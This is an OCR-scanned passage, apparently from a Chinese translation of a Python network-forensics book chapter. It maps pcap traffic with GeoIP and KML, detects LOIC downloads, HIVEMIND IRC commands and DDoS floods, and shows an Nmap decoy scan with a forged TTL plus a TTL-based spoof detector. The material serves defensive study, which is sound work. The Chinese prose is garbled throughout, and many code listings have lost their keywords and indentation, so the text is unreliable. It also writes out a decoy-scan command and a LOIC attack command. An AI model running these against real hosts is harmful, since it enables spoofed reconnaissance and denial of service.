database/GeoliteCity.dat.gz
Resolving geolite.maxmind.com... 174.36.207.186

Connecting to geolite.maxmind.com|174.36.207.186 | :80...
connected.

HTTP request sent, awaiting response... 200 OK
Length: 9866567 (9.4M) [text/plain]
Saving to: 'GeolLiteCity.dat.gz'



9,866,567 724K/s in 15s k
2012-03-17 09:02:36 (664 KB/s) — 'GeolLiteCity.dat.gz' saved

[9866567/9866567]

analyst#gunzip GeoliteCity.dat.gz
analyst#mkdir /opt/GeolIP

analyst#mv GeoliteCity.dat /opt/GeolIP/Geo.dat

FIFFEA IR GeolP #UiERE , BATATLAKER—> IP sl RIESR , BREUCHT | tHrh
BI—RRNZGELIR, FrERX—YSE IP DES A,

{5 PyGeolP =XHx IP jtuiltZ4piE it

Jennifer Ennis HI{E T —N Python &R FREIf GeoliteCity FiERE. HBRUE
ERBEM http://code.google.com/p/pygeoip/ T , LEEHSNEIFAIRY

Python B, 15, FAMEETEHNL— GeolP £, FZAIEAY GeolP By
E. ETFREIIBISHICRIERE [P IEIEURE,. ©EIRE—MER
BEH(cty) , #BXEZ(region_name) , Hp4E(postal_code) , EZ<
(country_name) , 245 (latitude and longitude) LA EftRHAS S,

import pygeoip
gi = pygeoip.GeolP('/opt/GeolIP/GeolP.dat')
def printRecord(tgt):

rec = gi.record_by_addr(tgt)

city = rec['city']

region = rec['region_name']

country = rec['country_name']



long = rec['longitude’]
lat = rec['latitude’']
print(‘'[*] Target: ' + tgt + ' Geo-located. ')
print(‘'[+] '+str(city)+', '+str(region)+’, '+str(country))
print(‘'[+] Latitude: '+str(lat)+ ', Longitude: '+ str(long))
tgt = '173.255.226.98'
printRecord(tgt)

BITHRARMA |, T LA Er-Ent BB 1x 1P AWEERME. IEBA]
BILUE IP MR EREATE—IE | iR )FHRmSHA RIS HTHIA.,

analyst# python printGeo.py
[*] Target: 173.255.226.98 Geo-located.
[+] Jersey City, NJ, United States

[+] Latitude: 40.7245, Longitude: -74.0621

{EF Dpkt f#tr&iiEe

ETEMNETH , FHiWEEE[ER Scapy IR E T ARSI ESUES.
Scapy & 7IEARITNEE | FHIFEESKIE Windows #E Mac OS X Rt L
LEAFEREME , #8tb2 T , Dpkt MREER , AL
http://code.google.com/p/dpkt/ F&EiZ%. FMEMRESEIEITNEE , (BREL
BEPELUERAA. Dug Song &8l Dpkt ZJ5 , Jon Oberheide 0T
T ZEIMNYTHBE SR ARIAIY , 40 FTP , SCTP , BPG , IPv6 , H.225,

BIgn | IERAMRE— TRAMEFRFHFCR T — A VEEDITHINE SRS /9
pcap &=, Dpkt SSIFEA IEHE— MERRIEUEEHOEES —MIME. &
XAMIIFH , BT R 2RSS TRITEIARY PCAP 26, , FATaTLUR
BZHEF pypcap DTiiE. AJLAM http://code.google.com/p/pypcap/ &k,
AT EEE— peap 35, EAISLHENLIE |, BIE— pcap.reader 5338 , &
EBIE A IAIRISREREL printPcap(), IXNRISR pcap BET—1NEEH | iCRE



RIIEJEFNEGREE | [timestamp, packet]. F(IATLUEENEGRE D HLAKEM
PR, IR XERFERRELE , FABNTERREEZ R, 783
PR, XAEAUBEME—FE. mXMERT  HIERFELEMAREFH
PETR—PEIRER. FAIER socket FEfi#T IP ik, SEFAFTEIENEERE
BRYIFEIBIEAN B ARttt

import dpkt

import socket

def printPcap(pcap):
for (ts, buf) in pcap:

try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
print(‘[+] Src: ' + src + ' --> Dst: ' + dst)

except:

pass

def main():
f = open('data.pcap')
pcap = dpkt.pcap.Reader(f)
printPcap(pcap)
if _name_ =='_main__":

main()



BITZHA |, B LER R B T ENE R £ XA R T
—ERERRIDHT  BELL R ERRASSRIRIBIANKEX [P sl FIYEREIE,

analyst# python printDirection.py

[+] Src: 110.8.88.36 --> Dst: 188.39.7.79

[+] Src: 28.38.166.8 --> Dst: 21.133.59.224

[+] Src: 153.117.22.211 --> Dst: 138.88.201.132
[+] Src: 1.103.102.104 --> Dst: 5.246.3.148

[+] Src: 166.123.95.157 --> Dst: 219.173.149.77
[+] Src: 8.155.194.116 --> Dst: 215.60.119.128
[+] Src: 133.115.139.226 --> Dst: 137.153.2.196
[+] Src: 217.30.118.1 --> Dst: 63.77.163.212
[+] Src: 57.70.59.157 --> Dst: 89.233.181.180

MERNEA | LEERIIRIN—DEIMIERES retGeoStr() , EIF IP itbibR([E]
YIEEMENE, Al FAVEEBRS R 3 AEEERCIBFSMARIIFTENZ
FREL. MERFMERE , RIVSREERFRNZIEIEREM. XMHRERE
HIHEATE GeolP HUREEEAEE 21 M IP H#ehik , 40 192.168.1.3,

dpkt
socket

pygeoip
optparse

g1 = pygeoip.GeolP('/opt/GeolP/GeolP.dat")

retGeoStr(ip):

rec = gi.record by name(ip)
city = rec['city']
country = rec['country code3'|




city I=":
= city +', ' + country

geoLoc = country
geolLoc

'Unregistered'

printPcap(pcap):
(ts, buf) in pcap:

eth = dpkt.ethernet.Ethernet(buf)
1p = eth.data
src = socket.inet ntoa(ip.src)
dst = socket.inet ntoa(ip.dst)
('[+] Src: '+ src + ' --> Dst: ' + dst)
('[*+] Src: ' + retGeoStr(src) + ' --> Dst: ' +
retGeoStr(dst))

main():
parser = optparse.OptionParser(‘usage%prog -p <pcap file>')
parser.add_option('-p' ='pcapFile' ='string' ='specify
pcap filename')
(options, args) = parser.parse_args()
options.pcapFile ==
(parser.usage)
)
pcapFile = options.pcapFile
= (pcapFile)
pcap = dpkt.pcap.Reader(f)
printPcap(pcap)
__name _==' main_ "
main()

BITRAIRMA |, T LAEZREEEERERE | 68, BXEER
BRARIRY. XAFHRE TIRARISIT TR, 2AM , Google HEEKRIRESIR AL
BRI AR ERERRNER.



analyst# python geoPrint.py -p geotest.pcap

[+] Src: 110.8.88.36 --> Dst: 188.39.7.79

[+] Src: KOR --> Dst: London, GBR

[+] Src: 28.38.166.8 --> Dst: 21.133.59.224

[+] Src: Columbus, USA --> Dst: Columbus, USA
[+]Src: 153.117.22.211 --> Dst: 138.88.201.132
[+] Src: Wichita, USA --> Dst: Hollywood, USA
[+]Src: 1.103.102.104 --> Dst: 5.246.3.148

[+] Src: KOR --> Dst: Unregistered

[+] Src: 166.123.95.157 --> Dst: 219.173.149.77
[+] Src: Washington, USA --> Dst: Kawabe, JPN
[+] Src: 8.155.194.116 --> Dst: 215.60.119.128
[+] Src: USA --> Dst: Columbus, USA

[+]Src: 133.115.139.226 --> Dst: 137.153.2.196
[+] Src: JPN --> Dst: Tokyo, JPN

[+] Src: 217.30.118.1 --> Dst: 63.77.163.212
[+] Src: Edinburgh, GBR --> Dst: USA

[+] Src: 57.70.59.157 --> Dst: 89.233.181.180
[+] Src: Endeavour Hills, AUS --> Dst: Prague, CZE

{&5F Python 2237 Google ith[E

Google HEERIZMEL 7T —NEIMBERY | #BE , HIBER , BEEIINE L.
BRELTIIN |, 8 Google I LIRA ZEMEFSETELIKEE. &
—MTRE A KML BN A | TP ESSRtARRE] Google Ek,
KML AT —MFER XML &1 |, SiE TERIIERE9AME. xR, K
NERT et E LEREFMNERMINMAFIEANMERS. EIIEE
7 IP il , MRRERSE | XMNIZRE ZEMEIFE MBI AFER

KML 3214,



<?xml version="1.0" encoding="UTF-8"?>

<kml xmiIns="http://www.opengis.net/kml/2.2">
<Document>

<Placemark>

<name>93.170.52.30</name>

<Point>
<coordinates>5.750000,52.500000</coordinates>
</Point>

</Placemark>

<Placemark>

<name>208.73.210.87</name>

<Point>

<coordinates>-122.393300,37.769700< /coordinates>
</Point>

< /Placemark>

< /Document>

</kml>

LEFRA TR ST — NEREY retKML() |, 35 IP YEAENIREI—MEFTRAY KML 4554,
IR, BERIIEAERINEEA pygeoip 3515 IP IR SEE, SRR
PAAIX MBI EA 180 KML ARie. WNERFEKATBRIEE | a0 location not

=/

found,” , BREIZSFHTER,

def retKML(ip):
rec = gi.record_by_name(ip)
try:
longitude = rec['longitude’']
latitude = rec['latitude’]
kml = ("<Placemark>\n'
'<name>% s</name>\n
'<Point>\n'



'<coordinates>%o06f,%6f</coordinates>\n'
'</Point>\n'
'</Placemark>\n'
) % (ip,longitude, latitude)
return kml
except Exception, e:
return "

BEEEHIIEEEIFRRAUHIA. HATMERMSEN KML LR, NFE
— NEUEE , BICUEREBIERN B FRtAY KML AR |, HEE H4H), X
M E T EMNRMERERTIULE. 1848, el BXYENEEEEE R
8. {RelEeFmEBARNERTRCARRERE | FerR RN B ROt
TCP iwm I (Ebamist web80 im0 25 Bb4imE). FILAS%E Google B9 KML 34
ERIu

https://developers.google.com/kml/documentation/FAEAEFA 1Y EBFA TR
HARERIER.

dpkt
socket
pygeoip
optparse
gi = pygeoip.GeolP('/opt/GeolP/GeolP.dat")

retKML(ip):
rec = gi.record by name(ip)

longitude = rec['longitude’]

latitude = rec['latitude']

kml = ('<Placemark>\n'
'<name>%s</name>\n'
'<Point>\n'
'<coordinates>%6f,%6f</coordinates>\n'
'</Point>\n'
'</Placemark>
) % (ip.longitude, latitude)

kml




plotIPs(pcap):
kmlPts ="

(ts, buf) in pcap:

eth = dpkt.ethernet.Ethernet(buf)

ip = eth.data

src = socket.inet ntoa(ip.src)

stcKML = retKML(src)

dst = socket.inet ntoa(ip.dst)

dstKML = retKML(dst)

kmlPts = kmlPts + srcKML + dstKML

kmlPts

main():
parser = optparse.OptionParser(‘usage%oprog -p <pcap file>")
parser.add_option('-p' ='pcapFile' ='string’ ='specify
pcap filename')
(options, args) = parser.parse_args()
options.pcapFile ==
parser.usage
(0)
pcapFile = options.pcapFile
f= (pcapFile)
pcap = dpkt.pcap.Reader(f)
kmlheader = '<?xml version="1.0" encoding="UTF-8"?>
<kml
xmlns="http://www.opengis.net/kml/2.2">\n<Document>
kmlfooter = '</Document>\n</kml>\n'
kmldoc=kmlheader+plotIPs(pcap)+kmlfooter
(kmldoc)

'

'

__name ==' main_ "
main()




BITEAINEA | H(VSHHEARSE KML 324+ , A Google HEERFTFHX N
%, BATTLIEZ RSN BRI, T, (IS ERR
RIS HTIEENE Anonymous BRFEETRAIELHD.

ERENREER T4 ? 9t LOIC jiE

2010 FF 12 B , =& mER T 25052 50 hRBRIRS G — LR X
HEMBZI AT, AE—1NA |, FBLALT 40 ZDEES |, 5T RN
BA. MERIEZHA Anonymous TEFHER LOIC #iTo B iRE It
JCER.

LOIC &iEAEHRI TCP A UDP it EHUKIE Him, — 1B XAY LOIC LAY H
IREFRIRIRRN , 2AM , ST ERRIARR RGN IRERERE
IRERIR

LOIC REFFME(FIRL | SF—PRIh , BPALUAMA BRI, SFMRT
#RJ9 HIVEMIND , FAFi%&#% LOIC El— 1 B15HY IRC FRSZGHITE IR,

{5 Dpkt $ZiE{E 5k LOIC

TEH{TIRERT , Anonymous B R AR 7 —MA@SES , KT LOIC & UAYA)RR
RIEE. ERAEREE : (£ LOIC BfIaHiE L ? AJget/ IF A%, RE
R T REEE TRSAMER T, EX—1F , iILHNEIRIFIIS T
RENANRARE TESTME T HANERT LOIC TR,

BEXM_EZNERME LOIC B TE , —& AnI{S. AJLAM sourceforge FH1 T
# http://sourceforge.net/projects/loic/ , ILFRAIMIXTE , T&al , FIF
tcpdump 1% |, 138 80 iwE , FHTENER |, (RAILARZEI—T4ER.

analyst# tcpdump -i ethO -A 'port 80'

17:36:06.442645 IP attack.61752 > downloads.sourceforge.net.http:



Flags [P.], seq 1:828, ack 1, win 65535, options [nop,nop, TS val

488571053 ecr 3676471943], length
827E..0..@.@........".;.8.P.KC.T

sCarnnnnnnnnnnnnnns

..GET /project/loic/loic/loic-1.0.7/LOIC 1.0.7.42binary.zip

?r=http%3A% 2F%2Fsourceforge.net% 2Fprojects% 2Floic% 2F&ts
=1330821290

HTTP/1.1
Host: downloads.sourceforge.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3)
AppleWebKit/534.53.11 (KHTML, like Gecko) Version/5.1.3
Safari/534.53.10

F—HDHEANIZARI LOIC TR , EfiTERmE— Python BIASKERHT HTTP i
£ , HE HTTP 19 GET LEFHS LOIC |19 ZIP =4, Flt , A 1&ER

Dpkt EE, ATHEE HTTP RE |, FAIWIHEELIKRIENY | IP #M%F0 TCP 1
Y. ERIGEME TCP Yz LAY HTTP thill. SN HTTP ER GET 5i% | AR
HrFERY URL A9 GET 153K, 2NER URI &&.zip #0 LOIC FERFRF , A FTENH
BERFEL , B T# LOICH IP, ey AR BNEERARYETE RIUERAR T Tk
LOIC MARE RS ER. BEEE=ZENTEEAEBIEDTT , FAITLFAR
FT&E7T LOIC TE,

import dpkt
import socket

def findDownload(pcap):
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
tcp = ip.data
http = dpkt.http.Request(tcp.data)
if http.method == 'GET":
uri = http.uri.lower()



if ".zip' in uri and 'loic' in uri:
print("[!] ' + src + ' Downloaded LOIC.")
except:
pass

f = open('LOIC.pcap')
pcap = dpkt.pcap.Reader(f)
findDownload(pcap)

EITZHA , FATLUBRIEBEEAFR &Y LOICTE,

analyst# python findDownload.py
[!'] 192.168.1.3 Downloaded LOIC.
[!'] 192.168.1.5 Downloaded LOIC.
[!] 192.168.1.7 Downloaded LOIC.
[!] 192.168.1.9 Downloaded LOIC.

fi#tr HIVE #2508 IRC a5 %

BT E LOIC TEA—EN#IEZER. 7Am , &&= Anonymous B

HIVE AEs1S T EERS WG H T ERDER 7T MNRGER. ER
Anonymous @— MABHERESHAMAZENARSHESZALA, FAA
AL BireEdE. 7 FR&AaI—XIE , Anonymous B R EFLE!
—MFERY IRC IRSFRBFHAKIXLEIES . Hla0!lazor targetip=66.211.169.66
message=test_test port=80 method=tcp wait=false random=true start, {F{d]
F8 LOIC 9 HIVEMIND #&=(iZE#3 IRC HIpk R ERRE BIFF A T BiR. EXH
BR T, AILMEEIHIREBF.

£ tepdump FREBEANKGLERRE | BIITLEENSEER

anonOps &iX 7 — MR TGRS, E K, IRC REBSRERXDSENERE
B9 LOIC ZEFim EFFIaTE. BE—TE— MRS/ NITERE LR
MILERERY pcap FFIRE L MFENSUES.

analyst# sudo tcpdump -i ethO -A 'port 6667’



08:39:47.968991 IP anonOps.59092 > ircServer.ircd: Flags [P.], seq

3112239490:3112239600, ack 110628, win 65535, options
[nop,nop, TS

val 437994780 ecr 246181], length 110
E...5<@.@..9.._.te_teerrrnnnrns - JC T

«.E.....TOPIC #LOIC:!lazor targetip=66.211.169.66
message=test_test

port=80 method=tcp wait=false random=true start
08:39:47.970719 IP ircServer.ircd > loic-client.59092: Flags [P.],
seq 1:139, ack 110, win 453, options [nop,nop, TS val 260262 ecr
437994780], length 138
E....&Q@.@.r3.._..._........ - J k.....

...... E.:kevinlkevin@anonOps TOPIC #loic:!lazor
targetip=66.211.169.66

message=test_test port=80 method=tcp wait=false
random=true start

EARSHIBRT | IRCIRSERAYR TCP 6667 in[l , iHEZ! IRC IkS5=sHIE
AUtEZERZ TCP #Y 6667 i , M IRCIR[EIRVESAYIRIINR N IZE TCP /Y
6667 i, 1LEAIFIFXERNRKmEFAIAI HIVEMIND fEATRREL
findHivemind(), IX—X , BAHRENAKRIDN , IP #HF0 TCP 1Y, #2EX
TCP #hilJE , FANERRSENFRIBENIRO, WNMRER GRS lazor HH B
im 6667 , FAIFAI LA RE T WEw<S. MNREKIEE lazor THIR
BRItIRO 6667 , BefiIRirl LARERRSS 88 A0 T LRI <.

import dpkt
import socket

def findHivemind(pcap):
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)



tcp = ip.data
dport = tcp.dport
sport = tcp.sport
if dport == 6667:
if 'llazor’ in tcp.data.lower():
print(‘[!] DDoS Hivemind issued by: '+src)
print('[+] Target CMD: ' + tcp.data)
if sport == 6667:
if 'llazor’ in tcp.data.lower():
print('[!] DDoS Hivemind issued to: '+src)
print('[+] Target CMD: ' + tcp.data)
except:
pass

AR IE{E#1TA9 DDos IE

BT ENM M L0IC TEMAIL HIVE ap<HRE | &Re—TUESRE | RAIEE
ETHY DDos I, S—1TAPFIRT—1 L0IC KT , B ARIEAER TCP £
EELEEIREN. XEERE , AN HIVE KRSEARRNEIESERNTERT Bix
FHRIRIR. FAIFFHE— tepdump RIEFEE 0. 00005 WAIE—\HIEHE
8. XMTARRNESERINEER. 5, BnGEEN , 8RR

b MR,

analyst# tcpdump -i eth0 'port 80'

06:39:26.090870 IP loic-attacker.1182 >loic-target.www: Flags [P.],
seq

336:348, ack 1, win
64240, length 12

06:39:26.090976 IP loic-attacker.1186 >loic-target.www: Flags [P.],
seq

336:348, ack 1, win
64240, length 12

06:39:26.090981 IP loic-attacker.1185 >loic-target.www: Flags [P.],
seq

301:313, ack 1, win
64240, length 12



06:39:26.091036 IP loic-target.www > loic-attacker.1185: Flags [.],

ack
313, win 14600, lengt
ho

06:39:26.091134 IP loic-attacker.1189 >loic-target.www
seq

336:348, ack 1, win
64240, length 12

06:39:26.091140 IP loic-attacker.1181 >loic-target.www
seq

336:348, ack 1, win
64240, length 12

06:39:26.091142 IP loic-attacker.1180 >loic-target.www
seq

336:348, ack 1, win
64240, length 12

06:39:26.091225 IP loic-attacker.1184 >loic-target.www
seq

336:348, ack 1, win
<.. REPEATS 1000x TIMES..>

: Flags [P.],

: Flags [P.],

: Flags [P.],

: Flags [P.],

IERRERRE— AR ILEER1T DDos INHIVREL. AT RI—IKE | &
MMERE— T EEERE. WR—BAFESEIRNEEEHEB TR

B, XRPEIIBE eI YEMH—LRE, BR XA

REFERF

RETIE. A, SRAFTET LOICTH , kS 7 HIVEIES |, AR

SLRRAYIRE: |, XELRMIEHERFS5 7T —IRERHR DDos K.

import dpkt

import socket

THRESH = 10000



def findAttack(pcap):
pktCount = {}
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
tcp = ip.data
dport = tcp.dport
if dport == 80:
stream = src + ":' + dst
if pktCount.has_key(stream):
pktCount[stream] = pktCount[stream] + 1
else:
pktCount[stream] = 1
except:
pass
for stream in pktCount:
pktsSent = pktCount[stream]
if pktsSent > THRESH:
src = stream.split(':")[0]
dst = stream.split(":")[1]

print('[+] '+src+' attacked '+dst+' with ' + str(pktsSent) + '
pkts.")

BB RE—RFII— LG T | B IR AIET AT T ,
Uy HIVE 18<HaNINE.



dpkt
socket
optparse

findDownload(pcap):
(ts, buf) in pcap:

eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet ntoa(ip.src)
tcp = ip.data
http = dpkt.http.Request(tcp.data)

http.method == "'GET":

uri = http.uri.lower()

'.zip' in uri "loic' in uri:
('[']"' + src +' Downloaded LOIC.")

THRESH =
findAttack(pcap):
pktCount = {}

(ts, buf) in pcap:

eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet ntoa(ip.src)
dst = socket.inet ntoa(ip.dst)
tcp = ip.data
dport = tcp.dport
dport ==
stream = src + "' + dst
pktCount.has key(stream):
pktCount[stream] = pktCount[stream] +

pktCount[stream] =

stream in pktCount:




pktsSent = pktCount[stream ]
pktsSent > THRESH:
src = stream.split(":")[0]
dst = stream.split(":")[ 1]
('[+] +srct' attacked '+dst+' with ' + str(pktsSent) +'
pkts.")

findHivemind(pcap):
(ts, buf) in pcap:

eth = dpkt.ethernet.Ethernet(buf)
1p = eth.data
src = socket.inet ntoa(ip.src)
= socket.inet ntoa(ip.dst)
tcp = ip.data
dport = tcp.dport
sport = tcp.sport
dport ==
'llazor' in tcp.data.lower():
('['] DDoS Hivemind issued by: "+src)
('[+] Target CMD: ' + tcp.data)
sport == :
'llazor' in tcp.data.lower():
('['] DDoS Hivemind issued to: '+src)
('[+] Target CMD: ' + tcp.data)

main():
parser = optparse.OptionParser("usage%prog -p<pcap file> -t
<thresh>")
parser.add_option('-p' ='pcapFile' ='string' ='specify
pcap filename')
parser.add option('-t' ='thresh'’ ="Int’ ='specify
threshold count ')
(options, args) = parser.parse _args()
options.pcapFile ==
(parser.usage)

(0)

options.thresh !|=




= options.thresh
pcapFile = options.pcapFile
f= (pcapFile)
pcap = dpkt.pcap.Reader(f)
findDownload(pcap)

findHivemind(pcap)
findAttack(pcap)

' !

__name ==' main_ "
main()

BATES , BATLIERIER. WP TRT IR, #5  FRNAFRAE
WA LERINENERENRESE | &F  XRIMREELRS5 THE.
FILEIERIBI AR BIEE A DDos {75, EARNERNRFATLARNSSIARY
m)  BRE— T BEEXMAMINEF. ETENEDTR  RIEE— BT
MBE , — N EF INZIRERIRRRIF A AR,

analyst# python findDDoS.py -p traffic.pcap

[!] 192.168.1.3 Downloaded LOIC.

[!] 192.168.1.5 Downloaded LOIC.

[!] 192.168.1.7 Downloaded LOIC.

[!] 192.168.1.9 Downloaded LOIC.

[!] DDoS Hivemind issued by: 192.168.1.2

[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141

message=test_test port=80 method=tcp wait=false
random=true start

[!'] DDoS Hivemind issued to: 192.168.1.3
[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141

message=test_test port=80 method=tcp wait=Ffalse
random=true start

[!'] DDoS Hivemind issued to: 192.168.1.5
[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141



message=test_test port=80 method=tcp wait=false
random=true start

[+] 192.168.1.3 attacked 192.168.95.141 with 1000337 pkts.
[+] 192.168.1.5 attacked 192.168.95.141 with 4133000 pkts.

H. D. Moore EHfFRAAXEIEIS

1999 X , EERAXRERTETNSHIFE™EEY. XEERSE, A
AARENEERE —RYNARNENE R IRTG. &FAMHIIER

Nmap , EEEHAIATENENRSNREREESZ 7. AANEEO—EI
HEEA Nmap IRBIAAAEEARIT EIMSATRIRIRE.

&l Nmap IAfERE S | REAIEE AL | PASREEAPERIbIE, 2R, IE
H7E Nmap PERSHKER , MARMTENKEE AT , HhEiE
TR EHAZMAYEANEE., DRAEERRED BB EIIEETE
ZIARIXRER.

LBEXRWR T RERRICTH I EZDIFEUENICR , &5 7 28I H.D.Moore , {£37
HEZE Metasploit #E2RAIEIIER | LA T — NAI1TRURERS =, HENERRE
BERAIEGRER TTL 68, SFRE(TTL)ZERAMEA— IP #iEE S
PAZX BRI, SUEERBE— M gHES | BESHED— TTL FERAYE.
Moore RIREIX A BEEMIARMEURERRIMRTFNAGE. NFERNE—
Nmap F#EGEMEIE |, &% T —4 ICMP SUBEEM AR 28 2 BIR95R 2L,
RERAXNMEERXDERTGELRRFE. BR , RENGEE BRI
TTL{E , MiFERBIERN TTL{E. tEiAEER1T | ARAXEEK Moore 7£
1999 9 SANS i ER~B 2T EFMAR. Moore FRttEIT R Nlog , EJ9
Bics 7 Nmap PIZHaiEER.

ETNERIET S , TSR Python B Moore IS FEFEIZ (A TR
Nlog, IREFBETHE— 7 ZLPFTSFRRVEEL : B8 , UHERRRIEINIZ
il NYSEN



IBfR TTL FER

ERERAZE , FAIRERE—T IP RGN TTILFEE. TILFREE 84
bit , BXE 0 F 255, HitENAE—IP FURERT , BIRE TTL FEAT]
AR BROMAISRABE | SN EERIRESELSUESN TTL FRE. R TIL=F
AT , IR FEXAN SR L TIREEEE. ok , 215REK ping itk
8.8.8.8 , ¥I8AML TTL 5 64 ©i%R[E] TTL BUES 53 FA 1 LAEZRIEUEE SIS T
11 NRAIZE.

target# ping -m 64 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

64 bytes from 8.8.8.8: icmp_seq=1 ttI=53 time=48.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttI=53 time=49.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttI=53 time=59.4 ms

5B EIIEAIR 1.6 iRA , BIEEUEER TTL AR B AZIERRY. K
BELERALHE TTL S81F Moore HRAXLEGRE. E2 , Nmap RIUEEM 1999 &
BRIBERBRMARE | EREARAS , Nmap ERTERNEZETANRE
TTL, ZEERENAIFE— TTL , BPtAEE CSE TTL HYME.

/* Time to live */

if (ttl==-1){
myttl = (get_random_uint()% 23) + 37;
}else {
myttl = ttl;



AATIET— Nmap BB | BAWE [P UEEINESE-D , TEXMIERT
Fi 5L 8.8.8.8 fE/OEIEIMEAL , AN , FAIBCHEE TTLAYWER 13,
Eit , FEEAIAE TTL /9 13 piEEEY 8.8.8.8 13#% 192.168.1.7,

attacker$ nmap 192.168.1.7 -D 8.8.8.8 -ttl 13

Starting Nmap 5.51 (http://nmap.org) at 2012-03-04 14:54 MST
Nmap scan report for 192.168.1.7

Host is up (0.015s latency).

<..SNIPPED..>

B85 192.168.1.7 & , A EFMEEILTHIFF tepdump(-v) , ZEFEZFRERIT(-
nn) , iSiE4EERTEIE 8.8.8.8Chost 8.8.8.8") , F(1EZF Nmap FRINHYF
TTL A 13, iEEMbE 8.8.8.8 RiX T HUEE,

target# tcpdump -i ethO —v —nn 'host 8.8.8.8'

8.8.8.8.42936 > 192.168.1.7.6: Flags [S], cksum Oxcae7 (correct),
seq

690560664, win 3072, options [mss 1460], length 0
14:56:41.289989 IP (tos 0x0, ttl 13, id 1625, offset 0, flags [none],
proto TCP (6), length 44)

8.8.8.8.42936 > 192.168.1.7.1009: Flags [S], cksum 0xc6fc
(correct),

seq 690560664, win 3072, options [mss 1460], length 0
14:56:41.289996 IP (tos 0xO0, ttl 13, id 16857, offset 0, flags
[none], proto TCP (6), length 44)

8.8.8.8.42936 > 192.168.1.7.1110: Flags [S], cksum 0xc697
(correct),

seq 690560664, win 3072, options [mss 1460], length 0
14:56:41.290003 IP (tos 0xO0, ttl 13, id 41154, offset 0, flags [none],
proto TCP (6), length 44)



8.8.8.8.42936 > 192.168.1.7.2601: Flags [S], cksum 0xc0c4
(correct),

seq 690560664, win 3072, options [mss 1460], length 0
14:56:41.307069 IP (tos 0xO0, ttl 13, id 63795, offset 0, flags [none],
proto TCP (6), length 44)

F Scapy fi#th TTL E

LR FHRRE A AR TEN AN SRR Em TTLE, X—x< L,
EAERIRIREBD FAISER Scapy B |, {REATLARERAYER Dpkt Bk RS
XAMLES. A TR —MNREL test TTLORIRIRE— MRS HIEURE | 15
EEAYIPE | HEN IP HBIERD TTL FEFHIENFRERS L.

from scapy.all import *
def testTTL(pkt):
try:
if pkt.haslayer(IP):
ipsrc = pkt.getlayer(IP).src
ttl = str(pkt.ttl)
print '[+] Pkt Received From: '+ipsrc+' with TTL: ' + ttl
except:

pass

def main():
sniff(prn=testTTL, store=0)
if _name__ =="'__main__":

main()



EITEAIRINE | FANBEFAIEENARERIEUERE LB AR BRI TTL AY
HiEE, XLERMEIERE 8.8.8.8 K9 TTL A 13 ANEERM. FHi1NE
TTL fiizs2 64-13=51 Bk , FATTLUAABANERES. NiZETE—R |
LInux/Unix &% EIEEYIA TTL{EA 64 , M Windows EFe#1%8 TTL (&

128, ATEHMNBIARIBRY , BAWRRFAIVRBENTHRE Linux 3EEGEE | A
LA BN — R ECRIQ B SR Z2RT TTL,

analyst# python printTTL.py

[+] Pkt Received From: 192.168.1.7 with TTL: 64

[+] Pkt Received From: 173.255.226.98 with TTL: 52

[+] Pkt Received From: 8.8.8.8 with TTL: 13

[+] Pkt Received From: 8.8.8.8 with TTL: 13

[+] Pkt Received From: 192.168.1.7 with TTL: 64

[+] Pkt Received From: 173.255.226.98 with TTL: 52

[+] Pkt Received From: 8.8.8.8 with TTL: 13

FAIRUREL checkTTLOBE— IP IRHEUEFORI LAY TTL EFE SN FHait
TTIL 2683RIERE. B85t FHNB—FEHSERIERIBEFRIEA IP it

A9%EE(10.0.0.0-10.255.255.255, 172.16.0.0-172.31.255.255, #
192.168.0.0-

192.168.255.255), ALt , FAISAN Py B, 797G Scapy R IP S5/H28
HAHEE(EZ IPTEST , 2N2R IPTEST(ipsrc).iptype()iR[E] ‘PRIVATE' , Ffi1372
B EX SRR,

HAIMABRRYERMEANT R T A DRIRSRVERES | BIIRFERERIIL—IX.
NSRRI TRERRMEAL | LE R JE— 1 Bautit SiFEehRERY [P 50
8. s, HAIEHEE— ICMP #ER S BRIt A EIN, —B BiRtitmE]
RL , BA T TTL (EREFEF |, @i IP RIEIEERS | | FBRaELirER
TTLEMFERHIEEEER TTL{E, HEEUESENRRIREEIEERIM
&R TTLANE , AT , SRBERVIERBERRL , HATTLURE , EFER—
MERIRIERY TTL , HFIENESERERE L.

from IPy import IP as IPTEST



ttivalues = {}
THRESH =5

def checkTTL(ipsrc, ttl):
if IPTEST(ipsrc).iptype() == 'PRIVATE":
return
if not ttIValues.has_key(ipsrc):

pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1,
verbose=0)

ttivalues[ipsrc] = pkt.ttl

if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
print("\n[!] Detected Possible Spoofed Packet From: ' + ipsrc)
print('[!] TTL: ' + ttl + ', Actual TTL: ' + str(ttlValues[ipsrc]))

HA AN IN— LT RIS E B ROt | SR —MATCRIR ERIEKR
FERZRINES. DT 50 {TAHUES |, BB RE+SRT Moore NEAATE
EIRRIERTIZE.

time
optparse
scapy.all *
[Py IP as IPTEST

ttlValues = {}
THRESH =

checkTTL(ipsrc, ttl):
[PTEST(ipsrc).iptype() == 'PRIVATE"

ttlValues.has_key(ipsrc):
pkt = sr1(IP(dst=1psrc) / ICMP()
=0)




ttlValues[ipsrc] = pkt.ttl
(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
("n[!] Detected Possible Spoofed Packet From: ' + ipsrc)
('['] TTL: "+ ttl + ', Actual TTL: ' + str(ttlValues[ipsrc]))

testTTL(pkt):

